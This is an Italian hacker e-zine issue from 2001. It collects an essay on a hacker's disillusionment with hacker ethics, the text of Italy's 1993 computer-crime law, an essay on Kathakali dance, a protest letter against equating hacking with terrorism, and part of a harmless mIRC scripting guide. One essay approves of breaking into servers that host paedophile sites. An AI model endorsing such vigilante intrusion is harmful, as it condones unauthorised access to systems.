mia, la nostra battaglia. | | | | Siamo tanti, ma vorremmo essere ancora di più. | | | | | | | | case | | | | | | ----------------------------------------------------------------------------- | | | | | | I doverosi ringraziamenti vanno a chi ha reso possibile tutto questo : | | | | phobos, ZeroByte, mrcode, risk, Igolz, AndreaGeddon, CeK, Xian, TripTrip, | | Pater, Ritz, TheMr, Quequero,Gi0, ]cHr[, reef, josh, jeremia, Valnir, Vinx, | | Yado, Jeyone, Pincopall ,Pispola, MightyInquisitor, Max, Sixin , nsn, | | Dark-Angel, ded, Devprog tutti i frequentatori di #crack-it, #hackmaniaci, | | #digitalforces, #chiahckerare … e mi sia fatta grazia se ho dimenticato | | qualcuno! ;PPP | | | | Per la vostra pazienza, disponibilità, gentilezza e per il supporto morale | | nei momenti difficili grazie di tutto =)))))) | | | | ----------------------------------------------------------------------------- | | | | | +-------------------------------------------------------------------------------+ +-------------------------------------------------------------------------------+ | ONDAQUADRA ~ [L0 SCiAMAN0] #04 - 19/11/2001 | | L0RD SHiNVA, CHE FiNE HA FATT0? [XpTerminator] 0x18/0x23 | +-------------------------------------------------------------------------------+ | | | | | | | Sono tantissime le persone in internet che continuano a chiedersi che fine | | abbia fatto Lord Shinva, se è stato arrestato, se ha cambiato identità, o | | dove diavolo sia finito... | | Bhe, oggi ho deciso di "farlo sapere al mondo". | | La seguente parte del testo è stata scritta da epoch, più parole testuali | | di lord shinva. | | | | | | | | oOoOoOoOoOoOoOoOoOoOoO CHE FINE HA FATTO L.S.? oOoOoOoOoOoOoOoOoOoOoO | | | | | | Lord Shinva ha abbandonato completamente hacking e simili già da diverso | | tempo, | | e ha detto in più occasioni che se potesse cancellare i suoi scritti da | | internet | | lo farebbe più che volentieri. | | Non l'hanno beccato, ha solo cambiato radicalmente idea sugli hackers e su | | tutto | | quello che riguarda l'hacking. | | | | Lord Shinva ha iniziato un po' per passione, un po' per divertimento, | | sapete, uno | | di quelli che collezionano ritagli di giornale sulle incursioni degli hacker | | del | | passato e del momento. La famosa 'enciclopedia' l'ha scritta in questo | | periodo: | | più come passatempo che per altro. | | Poi ha deciso di fare sul serio, cambiando nick diverse volte e affiliandosi | | a questo | | o a quel gruppo (quasi sempre stranieri) e infine fondandone di propri. | | Da qui in poi posso dirvi poco, però diede il via a diversi progetti e la | | 'carriera hackeristica' gli andava bene. E da qui cito delle parole testuali | | di lord shinva. | | (i puntini sospensivi indicano che ho tagliato qualcosa). | | Ecco un collage delle parti che ritengo più interessanti: | | | | "...sinceramente ne ho piene le scatole di essere e di | | stare tra gente che crede di valere solo perchè sa usare | | bene un computer. | | internet è strapiena di gruppi hacker, cracker e via | | dicendo, ma fatti dire una cosa: la stragrande maggioranza | | di loro sono solo degli esaltati che sanno a stento usare | | le backdoor per dar fastidio alla gente, una parte conosce | | abbastanza di hacking e vuole imparare ancora per fare | | chissà che cosa, e i pochi che restano conoscono tanto | | bene l'argomento che possono impiegarlo soltanto in due | | modi: per fini criminali, oppure per passare dall'altra | | parte e guadagnare qualcosa. | | ...ho fatto un esperimento: ho creato un finto gruppo | | hacker straniero, con tanto di sito web, indirizzi email | | e tutto il resto; ho contattato hacker di un certo | | livello, ho infarcito le comunicazioni e le pagine con | | stupidità presentate in modo professionale, ragionamenti | | sull'etica... ci sono cascati tutti... i complimenti dei | | membri di webfringe, di phrack, di gente vicina ai lopht | | ...basta insomma apparire, non essere. l'hacker è come | | una rock star, in tutti i sensi, non è niente altro, non | | è nessuno ...pensa che c'è gente che va in giro vantandosi | | (ma di che poi?) di essere lord shinva. c'è anche un | | forum che sfrutta il mio nick per fare soldi con i banner | | (salvo poi che la gente che visita il forum dice: si, ma | | lord dove cavolo sta?) | | ...hai fatto caso che l'hacking e la libertà di espressione | | su internet sono quasi sempre collegati? (blue ribbon, | | manifesto di mentor, i commenti tristi sulla cattiveria | | delle forze dell'ordine quando chiudono quel povero sito | | che distribuiva i codici delle carte di credito a fin | | di bene e via dicendo)... non solo perchè l'hacking sia | | illegale in quasi tutti i suoi aspetti, ma anche perchè | | è un modo per attirare la gente, tipo "legalizzala". | | ...ci ho creduto anche io alla falsissima etica hacker, | | alle vuotissime parole di mentor, alla pratica dell'hacking | | in maniera contrapposta alle dilaganti manie di protagonismo | | ...sfrutta l'ignoranza e incita la gente con slogan tipo | | "la conoscenza è potere", "l'informazione vuole essere | | libera"... il phreaking (rubare, a tutti gli effetti), | | i testi anarchici (costruire bombe, avvelenare, preparare | | attentati... sempre associati all'hacking in virtù della | | libertà di espressione e della necessità di fare | | controtendenza, o soltanto di essere "contro"). | | ...sono un mucchio di spazzatura e propaganda, e di | | tempo ne perso pure troppo. mi restano quelle conoscenze | | informatiche "avanzate" talvolta utili nel mondo del lavoro. | | ma a parte questo, e a parte la sensazione di sfida che dà | | fare qualcosa che, in fin dei conti, è ai limiti della | | legalità (bella emozione, rischiare sulla fedina penale | | e stravolgere la propria vita passando da esperto | | informatico a esperto di giustizia penale)..." | | | | | | | | | | | | | | oOoOoOoOoOoOoOoOoOoOo MIE CONSIDERAZIONI oOoOoOoOoOoOoOoOoOoOo | | | | | | | | | | Queste affermazioni di lord shinva possono aver fatto arrabbiare qualcuno, | | come me... | | | | Io sono rimasto sconvolto da ciò che ha detto, per il fatto che più rileggo | | le sue parole, e più mi rendo conto di quanto lui abbia ragione... | | | | L'hacking è stato "inquinato". L'hacking odierno si può dire, come ha | | affermato | | epoch, che è 10% studio e 90% crimine applicato. Ciò è stato causato in | | parte dai | | media, evangelizzatori dell'ignoranza, in parte dai vari movimenti illegali | | e | | controtendisti che hanno "sfruttato" l'hacking per propaganda, ed in parte | | dalla | | troppa diffusione di internet. | | | | I media si ostinano a fare notizia senza prima informarsi su cosa stiano | | parlando. | | Chiunque effettua un crimine informatico penetrando in un sistema per loro, | | è un hacker, | | senza fare alcuna distinzione dai cracker, dai lamer o talvolta dai | | phreacker. | | | | L'hacking è sempre stato visto come un "movimento controtendista", e di ciò | | hanno | | approfittato tutti gli altri movimenti anarchici ed illegali, collegandosi | | all'hacking | | per avere maggior rilievo, come dice anche lord shinva. | | | | Ciò ha fatto si che in internet nell'ultimo decennio si sia diffusa una | | grandissima | | ignoranza sull'hacking, sui cracker e sui lamer in ambito di etica. | | | | L'hacking "puro", quello nato nelle diverse università americane, e | | "applicato" negli | | anni '80, era diverso. In quell'hacking, il crimine informatico aveva un | | rilievo minore | | rispetto all'hacking applicato oggi. Ciò che muoveva l'hacking era una | | voglia dentro di | | sè di imparare ed imparare sempre nuove cose, in qualunque ambito, | | spingendosi in cose | | sempre più avanzate. | | | | Oggi invece l'hacking ha cambiato volto, la voglia di hackerare sta | | superando quella di imparare, | | e ciò sta spingendo molte persone ad imparare solo per il gusto di poter poi | | "rendersi famosi" (?), | | penetrando in un server. Ciò è anche la causa dell'aumento delle persone che | | vengono arrestane per crimini | | informatici. | | Io credo che ciò sia una vergogna per tutti coloro che continuano a vivere | | l'hacking nella sua forma originaria. | | | | Immaginate un giorno di tornare a casa; trovate la porta d'ingresso | | scassinata, entrate, trovate tutto | | sotto sopra, e infine vedete un ladro. Lui vi dice "Non ho rubato niente, | | volevo solo vedere com'era la casa, | | e volevo vedere se ero in grado di riuscire a supera il sistema d'allarme. | | Il mio problema è la curiosità!", | | voi che fareste? .... | | | | Gli hacker (?) stanno abusando troppo del "la curiosità è il mio crimine"... | | | | Capisco la voglia di penetrare in un sistema per porre una sfida alla | | propria preparazione, ma credo che ciò | | dovrebbe essere fatto contro chi lo merita sul serio, e non dei malcapitati. | | Io sono d'accordo per esempio | | nel farlo contro server che sostengono siti pedofili... | | | | Ciò è cosa penso io dell'etica hacker interpretata oggi...posso aver detto | | un mucchio di caxxate, | | ma ognuno è libero di pensare come vuole... | | | | Se ciò che ho detto ha "offeso" il vostro pensiero, allora passate pur | | avanti, e non badate | | a cosa ho detto. | | | | Per qualunque cosa, scrivetemi a xp_terminator@katamail.com | | | | Bye | | | | Xp Terminator | | | | | | | | | +-------------------------------------------------------------------------------+ +-------------------------------------------------------------------------------+ | ONDAQUADRA ~ [L0GiN] #04 - 19/11/2001 | | LEGGE 23 dicembre 1993 n. 547 | | Modificazioni ed integrazioni delle norme del codice | | penale e del codice di procedura penale in tema di | | criminalità informatica [qUiCkSoRt] 0x19/0x23 | +-------------------------------------------------------------------------------+ | | | La Camera dei Deputati e il Senato della Repubblica hanno approvato; | | | | IL PRESIDENTE DELLA REPUBBLICA | | | | PROMULGA | | | | la seguente legge: | | | | ART. 1. | | | | 1. All'articolo 392 del codice penale, dopo il secondo comma è aggiunto il | | seguente: | | | | "Si ha, altresì, violenza sulle cose, allorchè un programma informatico | | viene | | alterato, modificato o cancellato in tutto o in parte ovvero viene impedito | | o turbato il funzionamento di un sistema informatico o telematico". | | | | ART. 2. | | | | 1. L'articolo 420 del codice penale è sostituto dal seguente: | | | | "Art. 420. - (Attentato a impianti di pubblica utilità). - Chiunque commette | | un fatto diretto a danneggiare o distruggere impianti di pubblica utlità, è | | punito, salvo che il fatto costituisca più grave reato, con la reclusione da | | uno a quattro anni. | | | | La pena di cui al primo comma si applica anche a chi commette un fatto | | diretto a danneggiare o distruggere sistemi informatici o di pubblica | | utilità , ovvero dati, informazioni o programmi in essi contenuti o ad esso | | pertinenti. | | | | Se dal fatto deriva la distruzione o il danneggiamento dell'impianto o del | | sistema, dei dati, delle informazioni o dei programmi, ovvero l'interruzione | | anche perzale del funzionamento dell'impianto o del sistema, la pena è della | | reclusione da tre a otto anni". | | | | ART. 3. | | | | 1. Dopo l'articolo 491 del codice penale è inserito il seguente: | | | | "Art. 491-bis - (Documenti informatici) - Se alcuna delle falsità previste | | dal presente capo riguarda un documento informatico pubblico o privato, si | | applicano le disposizioni del capo stesso concernenti rispettivamente gli | | atti pubblici e le scritture private. A tal fine per documento informatico | | si | | intende qualunque supporto informatico contenente dati o informazioni aventi | | efficacia probatoria o programmi specificamente destinati ad elaborarli". | | | | ART. 4. | | | | 1. Dopo l'articolo 615-bis del codice penale sono inseriti i seguenti: | | | | "Art. 615-ter. - (Accesso abusivo ad un sistema informatico o telematico). - | | Chiunqueabusivamente si introduce in un sistema informatico o telematico | | protetto da misure di sicurezza ovvero vi si mantiene contro la volontà | | espressa o tacita di chi ha il diritto di escluderlo, è punito con la | | reclusione fino a tre anni. | | | | La pena è della reclusione da uno a cinque anni: | | | | 1) se il fatto è commesso da un pubblico ufficiale o da un incaricato di un | | pubblico servizio, con abuso dei poteri o con violazione dei doveri inerenti | | alla funzione o al servizio, o da chi esercita anche abusivamente la | | professione di investigatore privato, o con abuso della qualità di operatore | | del sistema; | | | | 2) se il colpevole, per commetere il fatto usa violenza sulle cose o alle | | persone, ovvero se è palesemente armato; | | | | 3) se dal fatto deriva la distruzione o il danneggiamento del sistema o | | l'interruzione totale o parziale del suo funzionamento, ovvero la | | distruzione | | o il danneggiamento dei dati, delle informazioni o dei programmi in esso | | contenuti. | | | | Qualora i fatti di cui ai commi primo e secondo riguardino sistemi | | informatici di interesse militare o relativi all'ordine pubblico o alla | | sicurezza pubblica o alla sanità o alla protezione civile o comunque di | | interesse pubblico, la pena è, rispettivamente, della reclusione da uno a | | cinque anni e da tre a otto anni. | | | | Nel caso previsto dal primo comma il delitto è punibile a querela della | | persona offesa; negli altri casi si procede d'ufficio. | | | | Art. 615-quater.- (Detenzione e diffusione abusiva di codici di accesso a | | sistemi informatici o telematici). | | - Chiunque, al fine di procurare a sè o ad altri un profitto, o di arrecare | | ad altri un danno, abusivamente si procura, riproduce, diffonde, comunica o | | consegna codici, parole chiave o altri mezzi idonei all'accesso ad un | | sistema | | informatico o telematico, protetto da misure di sicurezza, o comunque | | fornisce istruzioni idonee al predetto scopo, è punito con la reclusione | | sino | | ad un anno e con la multa sino a lire dieci milioni. | | | | La pena è della reclusione da uno a due anni e della multa da lire dieci | | milioni a venti milioni se riccorre taluna delle circostanze di cui ai | | numeri | | 1) e 2) del quarto comma dell'articolo 617-quater. | | | | Art 615-quinquies. - (Diffusione di programmi diretti a danneggiare o | | interrompere un sistema informatico). - Chiunque diffonde, comunica o | | consegna un programma informatico da lui stesso o da altri redatto, avente | | per scopo o per effetto il danneggiamento di un sistema informatico o | | telematico, dei dati o dei programmi in esso contenuti o ad esso pertinenti, | | ovvero l'interruzione, totale o parziale, o l'alterazione del suo | | funzionamento, è punito con la reclusione sino a due anni e con la multa | | sino | | a lire venti milioni". | | | | ART. 5. | | | | 1. Nell'articolo 616 del codice penale, il quarto comma è sostituito dal | | seguente: | | | | "Agli effetti delle disposizioni di questa sezione, per «corrispondenza» si | | intende quella epistolare, telegrafica, telefonica, informatica o telematica | | ovvero effettuata con ogni altra forma di comunicazione a distanza". | | | | ART. 6. | | | | 1. Dopo l'art. 617-ter del codice penale sono inseriti i seguenti: | | | | "Art. 617-quater. - (Intercettazione, impedimento o interruzione illecita di | | comunicazioni informatiche o telematiche). - Chiunque fraudolentemente | | intercetta comunicazioni relative ad un sistema informatico o telematico, o | | intercorrenti tra più sistemi, ovvero le impedisce o le interrompe, è punito | | con la reclusone da sei mesi a quattro anni. | | | | Salvo che il fatto costituisca più grave reato, la stessa pena si applica a | | chiunque rivela, mediante qualsiasi mezzo di informazione al pubblico, in | | tutto o in parte, il contenuto delle comunicazioni di cui al primo comma. | | | | I delitti di cui ai commi primo e secondo sono punibili a querela della | | persona offesa. | | | | Tuttavia si procede d'ufficio e la pena è della reclusione da uno a cinque | | anni, se il fatto è commesso: | | | | 1) in danno di un sistema informatico o telematico utilizzato dallo Stato o | | da altro ente pubblico o da impresa esercente servizi pubblici o di pubblica | | necessità; | | | | 2) da un pubblico ufficiale o da un incaricato di pubblico servizio, con | | abuso dei poteri o con violazione dei doveri inerenti alla funzione o al | | servizio, ovvero con abuso della qualità di operatore del sistema; | | | | 3) da chi esercita anche abusivamente la professione di investigatore | | privato. | | | | Art. 617-quinquies. - (Installazione di apparecchiature atte ad | | intercettare, | | impedire o interrompere comunicazioni informatiche o telematiche). | | - Chiunque, fuori dai casi consentiti dalla legge, installa apparecchiature | | atte ad intercettare, impedire o interrompere comunicazioni relative ad un | | sistema informatico o telematico ovvero intercorrenti tra più sistemi, è | | punito con la reclusione da uno a quattro anni. | | | | La pena è della reclusione da uno a cinque anni nei casi previsti dal quarto | | comma dell'articolo 617-quater. | | | | Art. 617-sexies. - (Falsificazione, alterazione o soppressione del contenuto | | di comunicazioni informatiche o telematiche). - Chiunque, al fine di | | procurare ad altri o a sè un vantaggio o diarrecare ad altri un danno , | | forma | | falsamente, ovvero altera o sopprime in tutto o in parte, il contenuto, | | anche | | occasionalmente intercettato, di taluna delle comunicazioni relative ad un | | sistema informatico o telematico o intercorrenti tra più sistemi, è punito, | | qualora ne faccia uso o lasci che altri ne facciano uso, con la reclusione | | da | | uno a quattro anni. | | | | La pena è della reclusione da uno a cinque anni nei casi previsti dal quarto | | comma dell'articolo 617-quater". | | | | ART. 7. | | | | 1. Nell'articolo 621 del codice penale, dopo il primo comma, è inserito il | | seguente: | | | | "Agli effetti della disposizione di cui al primo comma è considerato | | documento anche qualunque supporto informatico contenente dati, informazioni | | o programmi". | | | | ART. 8. | | | | 1. L'articolo 623-bis del codice penale è sostituito dal seguente: | | | | "Art. 623-bis (Altre comunicazioni e conversazioni). - Le disposizioni | | contenute nella presente sezione, relative alle comunicazioni e | | conversazioni | | telegrafiche, telefoniche, informatiche o telematiche, si applicano a | | qualunque altra trasmissione a distanza di suoni, immagini o altri dati". | | | | ART. 9. | | | | 1. Dopo l'articolo 635 del codice penale è inserito il seguente: | | | | "Art. 635-bis. - (Danneggiamento di sistemi informatici e telematici). | | - Chiunque distrugge, deteriora o rende, in tutto o in parte, inservibili | | sistemi informatici o telematici altrui, ovvero programmi, informazioni o | | dati altrui, è punito, salvo che il fatto costituisca più grave reato, con | | la | | reclusione da sei mesi a tre anni. | | | | Se ricorre una o più delle circostanze di cui al secondo comma dell'articolo | | 635, ovvero se il fatto è commesso con abuso della qualità di operatore del | | sistema, la pena è della reclusione da uno a quattro anni". | | | | ART. 10. | | | | 1. Dopo l'articolo 640-bis del codice penale è inserito il seguente: | | | | "Art. 640-ter. - (Frode informatica). - Chiunque, alterando in qualsiasi | | modo | | il funzionamento di un sistema informatico o telematico o intervenendo senza | | diritto con qualsiasi modalità su dati, informazioni o programmi contenuti | | in | | un sistema informatico o telematico o ad esso pertinenti, procura a sé o ad | | altri un ingiusto profitto con altrui danno, è punito con la reclusione da | | sei mesi a tre anni e con la multa da lire centomila a due milioni. | | | | La pena della reclusione da uno a cinque anni e della multa da lire | | seiicentomila a tre milioni se ricorre una delle circostanze previste dal | | numero 1) del secondo comma dell'articolo 640, ovvero se il fatto è commesso | | con abuso della qualità di operatore del sistema. | | | | Il delitto è punibile a querela della persona offesa, salvo che ricorra | | taluna delle circostanze di cui al secondo comma o un'altra circostanza | | aggravante". | | | | ART. 11. | | | | 1. Dopo l'articolo 266 del codice di procedura penale è inserito il | | seguente: | | | | "Art. 266-bis. - (Intercettazioni di comunicazioni informatiche o | | telematiche) | | -1. Nei procedimenti relativi ai reati indicati nell'articolo 266, nonchè a | | quelli commessi mediante l'impiego di tecnologie informatiche o telematiche, | | è consentita l'intercettazione del flusso di comunicazioni relativo a | | sistemi | | informatici o telematici ovvero intercorrente tra due sistemi". | | | | ART. 12. | | | | 1. L'articolo 268 del codice di procedura penale è così modificato: | | | | a) dopo il comma 3 è inserito il seguente: | | | | "3-bis. Quando si procede a intercettazione di comunicazioni informatiche o | | telematiche, il pubblico ministero può disporre che le operazioni siano | | compiute anche mediante impianti appartenenti a privati"; | | | | b) i commi 6, 7 e 8 sono sostituiti dai seguenti: | | | | "6. Ai difensori delle parti è immediatamente dato avviso che, entro il | | termine fissato a norma dei commi 4 e 5, hanno facoltà di esaminare gli atti | | e ascoltare le registrazioni ovvero di prendere cognizione dei flussi di | | comunicazioni informatiche o telematiche indicati dalle parti, che non | | appaiano manifestamente irrilevanti, procedendo anche di ufficio allo | | stralcio delle registrazioni e dei verbali di cui è vietata l'utilizzazione. | | Il pubblico ministero e i difensori hanno diritto di partecipare allo | | stralcio e sono avvisati almeno ventiquattro ore prima. | | | | 7. Il giudice dispone la trascrizione integrale ovvero la stampa in forma | | intelligibile delle informazioni contenute nei flussi di comunicazioni | | informatiche o telematiche da acquisire, osservando le forme, i modi e le | | garanzie previsti per l'espletamento delle perizie. Le trascrizioni o le | | stampe sono inserite nel fascicolo per il dibattimento. | | | | 8. I difensori possono estrarre copia delle trascrizioni e fare eseguire la | | trasposizione della registrazione su nastro magnetico. In caso di | | intercettazione di flussi di comunicazioni informatiche o telematiche i | | difensori possono richiedere copia su idoneo supporto dei flussi | | intercettati, ovvero copia della stampa prevista dal comma 7". | | | | ART. 13. | | | | 1. Al comma 1 dell'articolo 25-ter del decreto-legge 8 giugno 1992, | | convertito, con modificazioni, dalla legge 7 agosto 1992, n.356, dopo le | | parole "e di altre forme di telecomunicazione" sono inserite le seguenti: | | "ovvero del flusso di comunicazioni relativo a sistemi informatici o | | telematici". | | | | Le presente legge, munita del sigillo di Stato, sarà inserita nella Raccolta | | ufficiale degli atti normativi della Repubblica Italiana. E' fatto obbligo a | | chiunque spetti di osservarla e farla osservare come legge dello Stato. | | | | Data a Roma, addì 23 dicembre 1993. | | | | SCALFARO | | | | CIAMPI, Presidente del Consiglio dei Ministri | | | | CONSO, Ministro di grazia e giustizia | | | | Visto, il Guardasigilli: CONSO | | | | | | | +-------------------------------------------------------------------------------+ +-------------------------------------------------------------------------------+ | ONDAQUADRA MAGAZINE ~ [L0 SCiAMAN0] #04 - 19/11/2001 | | SUL KATAKALi [il Magnano] 0x1A/0x23 | +-------------------------------------------------------------------------------+ | | | Trance ipnotica. Bellezza inerme. Antico poema Mahabarata. | | Liberta' di adorare, liberta' di purificare. Liberta' di assolvere | | l'assoluta | | necessita' d'infinito. India mistica ? India trascendentale ? Parole quasi | | abusate. | | Mille racconti potrebbero confondere... misticismo usurato da supermarket... | | moda per alternativi snob. | | Aldila' dei discorsi, da ormai svariati secoli e in particolare in questi | | ultimi decenni, l'India e' fortemente in auge per tutto cio' che riguarda il | | bisogno spirituale che pervade l'uomo. | | | | Terra di Baba, terra di Guru, Terra delle Upanishad, di Infiniti Dei... | | Brahma, Visnu Shiva... infinite adorazioni... | | Terra del Mahabarata, grandioso poema epico di questa incredibile terra. | | Fascino della danza, miste o della danza... sensualita' trascendente... | | dedicata al supernaturale. | | Corpi in movimento... sudore... profumi d'incenso... Musica fatta di tablas, | | Sitar... | | Oppio ed hascish ad impregnare l'aria. | | Da nessun'altra parte la musica assume un significato cosi sacro e | | divinatorio... atta ad entrare in vicinanza cone le diverse divinita'... | | atta pure a riempire l'anima della sua necessita' di sacro. | | Da nessun'altra parte cosi' intensamente. | | Il Mahabarata e' un poema epico a cui si e' dato un sottofondo musicale e | | che narra le gesta mitiche delle antiche adorazioni e devozioni degli Dei. | | Che narra puntando all'alto. Narrazione come istinto viscerale. Storie per | | tramandare un senso vero della vita al genere umano. | | | | Il Katakali e' la danza che inscena il Mahabarata, il Mahabarata danzato e | | musicato. | | Costumi, gioelli, anelli, profumi, musiche, scenografie. Nulla e' lasciato | | intentato. | | E' un grande puzzle di bellezza. | | In cui ogni tassello deve risplendere e luccicare. | | Ipnotica sensualita' | | Tremore estatico | | Lenta trascendenza | | "L'Asia par che dorma, ma sta sospesa in aria, immensa millenaria sua | | cultura". | | | +-------------------------------------------------------------------------------+ +-------------------------------------------------------------------------------+ | ONDAQUADRA MAGAZINE ~ [L0 SCiAMAN0] #04 - 19/11/2001 | | iL TERR0RiSTA SCRiVE A CENSURATi.iT [Antonella Serafini] 0x1B0/0x23 | +-------------------------------------------------------------------------------+ | | | Ho contatti con i terroristi! | | Ebbene si. Ho contatti con terroristi. Il Governo americano, sta spingendo a | | tavoletta per approvare una legge che equiparerebbe il terrorismo (inteso | | come quello serio, che si fa con armi chimiche, batteriologice e nucleari) | | all’hacking. | | E si approfitterà del caso dell’abbattimento delle Twin Towers per proporre | | leggi che in altri momenti avrebbero trovato proprio un terreno non fertile. | | | | Lettera di Tritemius a censurati | | | | Riviste specializzate come Punto-Informatico hanno già parlato di Tritemius, | | come dell’hacker che ha trovato dei bugs nello Shape della Nato, bugs al | | Credito Cooperativo, alla BBC e in altri importanti siti. Tralascio quindi | | la presentazione di questo personaggio, per dare il giusto spazio a ciò che | | mi ha inviato come lettera aperta e di protesta a una legge simile: | | | | Cari amici censurati, il 24 settembre, il Dipartimento di Giustizia degli | | Stati uniti ha reso pubblico il testo dell'ATA (Anti-Terrorism Act, legge | | anti-terrorismo). Questo decreto, redatto dal DOJ come iniziativa per | | fronteggiare la minaccia terroristica manifestatasi in maniera tremenda e | | agghiacciante l'11 settembre con l'attentato di New York, verra' presentato | | (approvato?) al Congresso USA. | | | | Cio' che mi spinge a manifestare pubblicamente la mia preoccupazione è però | | il fatto che insieme a reati come attentati dinamitardi e assassini, vi è la | | presenza dei reati informatici, accomunati sotto l'infamante etichetta del | | terrorismo. | | | | Hackers, crackers,virus-writers,web-defacers dovranno essere considerati, | | secondo l'Amministrazione americana, terroristi a tutti gli effetti: | | modificare una pagina web e schiantare un aereo contro un grattacielo e' la | | stessa cosa. | | | | Al di la' delle considerazioni tecniche e delle interpretazioni che si | | possono dare alla parola "hacker", e' del tutto evidente che ci troviamo di | | fronte a proposte assolutamente sproporzionate. | | Si dovrebbero sempre tener ben distinti i danni e i crimini contro le | | persone (spesso perpetrati anche da coloro i quali si ergono a paladini | | della Libertà e della Giustizia universale), e i reati contro le cose. | | | | Se poi le idee fanno paura, se un modello politico/economico/sociale non può | | (non deve!) essere criticato e le parole devono essere controllate e | | approvate, allora è necessario preoccuparsi. | | | | Gli hackers sono stati, sono e saranno sempre piu' gli spiriti liberi | | dell'Era digitale, fautori del mondo libero della Rete, della libera | | circolazione delle idee e delle informazioni, della collaborazione organica | | e disinteressata. Non sono gli hackers a sradicare popolazioni, a violentare | | terre, a costruire armi micidiali. I terroristi e i prepotenti sono altri, | | sono altrove. Apriamo gli occhi, non lasciamo che Stranamore ci ipnotizzi | | col marziale rullo di tamburi, occorre restare lucidi di fronte alla | | strategia della tensione globale. | | Il re e' nudo: dietro la difesa degli alti ideali e della meravigliosa | | civiltà occidentale, si nascondono interessi umani, troppo umani. | | Tritemius | | | | Questa la lettera di Tritemius | | Amici miei, se questo qui è un terrorista io sono da sedia elettrica, perché | | la mia curiosità non è di ricerca sulla rete, ma di ricerca nelle schifezze | | del sociale. Stesso stampo, ma con più prepotenza, quindi. | | | | Temo che la libertà che gli hackers sono in grado di fornire, sia un’arma | | difficile da annientare, e per questo fa paura. Per usare le parole di un | | grande amico queste persone, gli hackers, sono "coriandoli colorati contro | | un muro grigio". | | | | Dopo la legge approvata dal Senato americano sul controllo delle email, | | vengono seri dubbi sul potere della libertà della rete. Il fatto che molti | | temono che con internet si perde il monopolio informativo dei media, è | | provato dalla neonata ed inutile (quanto inattuabile) nuova legge | | sull’editoria, votata all’unanimità da esponenti di destra e di sinistra | | indistintamente. | | | | Il Grande Fratello si, internet libero no. Il fatto è preoccupante, perché | | mi viene da pensare che avere un suddito ignorante è molto più facile da | | gestire di un suddito con delle idee e delle iniziative. E soprattutto, se | | il popolo-suddito non ha idee, non si rischia l’ammutinamento. | | | | Tritemius incarna la libertà di noi tutti, e per questo sarebbe a rischio | | (in America, per fortuna, qui non ancora, ma non è detto). E' il terrorista | | che rischia il "carcere a vita, senza possibilità di appello" (traduzione | | letterale di quanto ho visto in rete). | | | | A questo punto, io sarei anche per le perquisizioni senza mandato per tutti, | | per i controlli alla corrispondenza cartacea.. tanto che cambia? Il succo è | | quello! | | | | Diciamolo, sono stati gli hackers a far crollare le Twin Towers, altro che | | Bin Laden! (a questo punto non mi stupirei più di tanto se venisse fuori una | | cosa simile, magari detta dalla CNN, così tanto idolatrata!) | | | | Amici, la libertà negata è quella del mito della caverna di Platone.. non ci | | fa conoscere la realtà, ma ci fa stare contenti di essere ignoranti, e | | contenti anche di dire "sissignore" | | | | Antonella Serafini, www.censurati.it | | | +-------------------------------------------------------------------------------+ +-------------------------------------------------------------------------------+ | ONDAQUADRA ~ [L'APPRENDiSTA STREG0NE] #04 - 19/11/2001 | | GUiDA SUL mIRC SCRiPTiNG [PARTE SEC0NDA] []_CyBeRPuNK_[] 0x1C/0x23 | +-------------------------------------------------------------------------------+ | | | | | Guida sul mIRC scripting Parte 2 | | | | | | []_CyBeRPuNK_[] o Slackware | | | | slackware@estranet.it | | | | | | | | La sezione Popups. | | I popup sono menu che appaiono quando si esegue un click destro con il | | mouse. Se non avete ancora scoperto questa utile funzione di mIRC, fate una | | prova ADESSO! Alcuni menu popup sono predefiniti in popups.ini presente | | nella distribuzione di mIRC ma, sono completamente personalizzabili sotto la | | voce Tools/Popups/. | | | | Verrà avviato Editor di mIRC con aperta la sezione Popups. Per ora, si | | ignorino le sezioni Remote, Users e Variables! L'Editor di mIRC viene | | utilizzato come una interfaccia uniforme e compatta per tutte le sezioni | | programmabili di mIRC. Con al sezione Popups selezionata, il menu 'File' vi | | aiuterà a caricare, scaricare e salvare i file di popup. Il menu 'Edit' | | fornisce le funzioni di copia/incolla e di ricerca. 'Popup' elenca un indice | | dei file di menu popup attualmente aperti. | | | | Il menu 'View' permette di selezionare quale popup si desidera modificare. | | Vi sono differenti menu popup per differenti tipi di finestre di mIRC; Su | | una finestra di canale si avrà un menu popup diverso dal menu popup delle | | Query (conversazioni private). Utilizzare il menu View per modificare un | | menu popup differente. Vi sono sezioni programmabili di popup per la | | finestra di Status, finestre di canale, finestre di Query/Chat ed elenco | | Nick ed uno speciale elemento chiamato Menubar per un elemento di Menubar | | programmabile. (Tutti verranno spiegati successivamente) | | | | Se la vostra copia di mIRC non sembra disporre del menu popup predefinito | | (con quindi la sezione Tools/Popups/ vuota), è sicuramente dovuto al fatto | | che non si è verificato che il file predefiniti siano stati copiati | | correttamente dal file di distribuzione di mIRC alla directory di mIRC, | | oppure che la posizione nella quale recuperare il file popups.ini non è | | stato correttamente specificato. È facile correggere ciò tramite la voce di | | menu File/Load/ nell'editor dei Popups. | | | | I comandi popup funzionano esattamente come gli alias. Tutte le stringhe | | indicate nella Sezione alias possono essere utilizzate nei popup (e vitali | | per il corretto utilizzo dei popup). Se non si è letta la sezione degli | | Alias (Sezione alias), fatelo ora! Vi serviranno le informazioni contenuta | | in essa prima di procedere. | | | | Inoltre: Si legga il file di Help relativo ai popup, cosi come dare una | | occhiata ai molti esempi di popup inclusi in mIRC sotto Tools/Popups. Più | | esempi si proveranno, esamineranno e si proveranno a modificare, migliore | | sarà la vostra conoscenza di mIRC. | | | | Esempio: /join | | | | Supponiamo che ci si voglia collegare frequentemente ad particolare canale, | | #test. | | | | Anziché dover digitare "/join #test", non sarebbe più semplice fare un click | | destro e selezionare una voce di menu che vi faccia collegare | | automaticamente al canale? | | | | IL seguente popup svolge questa funzione. Semplicemente si inserisca questo | | popup sotto Tools/Popups, assicurandovi che "Status Window" sia selezionata. | | (Non Query/Chat window, Channels Names list o Menu Bar!) | | | | Entrare sul canale Test: | | | | | | /join #test | | | | Ora si faccia un click destro sulla finestra di Status e si selezioni | | "Entrare sul canale Test". mIRC eseguirà esattamente questo. | | | | Esempio: /away | | | | Ecco un esempio di popup di "away" e di "back"... si digiterà il motivo | | dell'away, che verrà inviato ai canali sui quali si è presente (Che è ciò | | che il comando /ame fa, inviare un /me ad ogni canale sul quale si è | | presenti) | | | | | | Set Away...:/ame e VIA ( $?="indicare il motivo" ) | /away Provare più tardi | | ( $! ) !! | | Set Back:/ame è TORNATO| /away | | | | (Si noti ancora una volta che su alcuni sistemi potrebbe essere necessario | | scorrere verso destra per vedere 